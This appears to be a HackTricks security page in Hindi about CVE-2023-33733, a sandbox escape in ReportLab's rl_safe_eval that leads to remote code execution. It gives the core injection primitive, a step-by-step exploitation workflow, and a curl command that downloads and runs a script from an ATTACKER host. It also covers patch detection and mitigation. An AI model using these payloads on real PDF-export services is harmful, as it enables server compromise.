ReportLab/xhtml2pdf [[[…]]] expression-evaluation RCE (CVE-2023-33733)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

यह पृष्ठ ReportLab के rl_safe_eval में एक व्यावहारिक sandbox escape और RCE primitive का दस्तावेज़ीकरण करता है, जिसका उपयोग xhtml2pdf और अन्य PDF-जनरेशन पाइपलाइनों द्वारा user-controlled HTML को PDF में रेंडर करते समय होता है।

CVE-2023-33733 उन ReportLab वर्ज़नों को प्रभावित करता है जो 3.6.12 तक और उसमें शामिल हैं। कुछ attribute contexts (उदा. color) में, triple brackets [[[ … ]]] में लिपटे मान rl_safe_eval द्वारा सर्वर-साइड पर evaluate किए जाते हैं। एक payload तैयार करके जो एक whitelisted builtin (pow) से उसके Python function globals की ओर pivot करता है, एक attacker os module तक पहुँच कर कमांड्स चला सकता है।

मुख्य बिंदु

  • Trigger: markup में ReportLab/xhtml2pdf द्वारा parse किए गए evaluated attributes जैसे में [[[ … ]]] inject करें।
  • Sandbox: rl_safe_eval खतरनाक builtins को बदलता है पर evaluated functions अभी भी globals एक्सपोज़ करते हैं।
  • Bypass: rl_safe_eval name checks को बायपास करने और blocked dunder फ़िल्टरिंग से बचने के लिए एक transient class Word बनाकर “globals” स्ट्रिंग तक पहुँचें।
  • RCE: getattr(pow, Word('__globals__'))['os'].system('<cmd>')
  • Stability: execution के बाद attribute के लिए एक वैध मान लौटाएँ (color के लिए, और ‘red’ का उपयोग करें)।

कब परीक्षण करें

  • वे applications जिनमें HTML-to-PDF export होता है (profiles, invoices, reports) और PDF metadata या HTTP response comments में xhtml2pdf/ReportLab दिखता है।
  • exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” प्रोड्यूसर
  • PDF के लिए HTTP response अक्सर ReportLab generator comment से शुरू होता है

कैसे sandbox bypass काम करता है

  • rl_safe_eval कई builtins (getattr, type, pow, …) को हटा देता है या बदल देता है और attributes जो __ से शुरू होते हैं या denylist में हैं उनके लिए name filtering लागू करता है।
  • हालाँकि, safe functions एक globals dictionary में रहती हैं जिसे func.globals के माध्यम से एक्सेस किया जा सकता है।
  • type(type(1)) का उपयोग करके असली builtin type function recover करें (ReportLab के wrapper को बायपास करते हुए), फिर str से derive किया गया एक Word class परिभाषित करें जिसमें mutated comparison व्यवहार हो ताकि:
    • .startswith(‘’) → हमेशा False (startswith(‘’) नाम जांच बायपास)
    • .eq केवल पहले comparison पर False लौटाए (denylist membership checks बायपास) और बाद में True (ताकि Python getattr काम करे)
    • .hash == hash(str(self))
  • इसके साथ, getattr(pow, Word(‘globals’)) wrapped pow function का globals dict लौटाता है, जिसमें एक imported os module शामिल है। फिर: ['os'].system('<cmd>')

न्यूनतम exploit पैटर्न (attribute उदाहरण) Payload को एक evaluated attribute के अंदर रखें और execution के बाद यह सुनिश्चित करें कि यह attribute के लिए एक वैध मान लौटाता है (boolean और ‘red’ के माध्यम से)।

exploit

  • list-comprehension रूप rl_safe_eval के लिए स्वीकार्य एक single expression की अनुमति देता है।
  • पीछे वाला and ‘red’ एक वैध CSS color लौटाता है ताकि rendering टूटे नहीं।
  • आवश्यकता अनुसार command को बदलें; tcpdump के साथ पुष्टि करने के लिए ping का उपयोग करें।

ऑपरेशनल वर्कफ़्लो

  1. PDF generator पहचानें
  • PDF Producer में xhtml2pdf दिखता है; HTTP response में ReportLab comment होता है।
  1. ऐसा input ढूँढें जो PDF में reflect होता हो (उदा., profile bio/description) और export ट्रिगर करें।
  2. कम-शोर ICMP के साथ execution सत्यापित करें
  • Run: sudo tcpdump -ni <iface> icmp
  • Payload: … system('ping <your_ip>')
  • Windows अक्सर डिफ़ॉल्ट रूप से ठीक चार echo requests भेजता है।
  1. एक shell स्थापित करें
  • Windows के लिए, quoting/encoding समस्याओं से बचने हेतु एक भरोसेमंद two-stage approach:
  • Stage 1 (download):

exploit

  • Stage 2 (execute):

exploit

  • Linux लक्ष्यों के लिए, curl/wget के साथ समान two-stage संभव है:
  • system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)

नोट्स और टिप्स

  • Attribute contexts: color एक ज्ञात evaluated attribute है; ReportLab markup में अन्य attributes भी expressions evaluate कर सकते हैं। यदि एक स्थान sanitize किया गया है, तो PDF flow में render होने वाले अन्य स्थानों को आज़माएँ (विभिन्न fields, table styles, आदि)।
  • Quoting: commands को compact रखें। Two-stage downloads quoting और escaping की परेशानियाँ काफी कम कर देती हैं।
  • Reliability: यदि exports cached या queued हैं, तो payload को थोड़ा बदलें (उदा., random path या query) ताकि cache न लगे।

पैच स्थिति (2024–2025) और बैकपोर्ट्स की पहचान

  • 3.6.13 (27 Apr 2023) ने colors.toColor को AST-walk parser में री-राइट किया; नए 4.x रिलीज़ इस पाथ को बनाए रखते हैं। rl_settings.toColorCanUse को rl_safe_eval या rl_extended_literal_eval पर मजबूर करने से वर्तमान वर्ज़न्स पर भी vulnerable evaluator फिर से ऐनेबल हो सकता है।
  • कई वितरण backported fixes के साथ रिलीज़ करते हैं जबकि version numbers जैसे 3.6.12-1+deb12u1 रखते हैं; semantic version पर भरोसा न करें। colors.py में ast.parse के लिए grep करें या रनटाइम पर toColor का निरीक्षण करें ताकि यह पुष्टि हो सके कि safe parser उपयोग में है (नीचे तेज़ जांच देखें)।
  • यह देखने के लिए एक त्वरित स्थानीय जाँच कि AST-आधारित फिक्स मौजूद है या नहीं:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY

रोकथाम और पहचान

  • ReportLab को 3.6.13 या उससे बाद के संस्करण में अपडेट करें (CVE-2023-33733 फिक्स्ड)। डिस्ट्रो पैकेजों में सुरक्षा सलाहकारियों को भी ट्रैक करें।
  • user-controlled HTML/markup को सख्त sanitization के बिना सीधे xhtml2pdf/ReportLab में न भेजें। जब इनपुट अविश्वसनीय हो तो [[[…]]] evaluation constructs और vendor-specific tags को हटाएँ/अस्वीकार करें।
  • अविश्वसनीय इनपुट के लिए rl_safe_eval के उपयोग को पूरी तरह अक्षम करने या उसे रैप करने पर विचार करें।
  • PDF जनरेशन के दौरान संदिग्ध आउटबाउंड कनेक्शनों की निगरानी करें (उदा., दस्तावेज़ एक्सपोर्ट करते समय app servers से होने वाले ICMP/HTTP)।

संदर्भ

  • PoC और तकनीकी विश्लेषण: c53elyas/CVE-2023-33733
  • 0xdf University HTB write-up (वास्तविक दुनिया में exploitation, Windows two-stage payloads): HTB: University
  • NVD एंट्री (प्रभावित संस्करण): CVE-2023-33733
  • xhtml2pdf docs (markup/page concepts): xhtml2pdf docs
  • ReportLab 3.6.13 release notes (toColor का AST पुनर्लेखन): What’s New in 3.6.13
  • Debian security tracker जो बिना minor संस्करण बदले बैकपोर्ट किए गए फिक्स दिखाता है: Debian tracker CVE-2023-33733

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें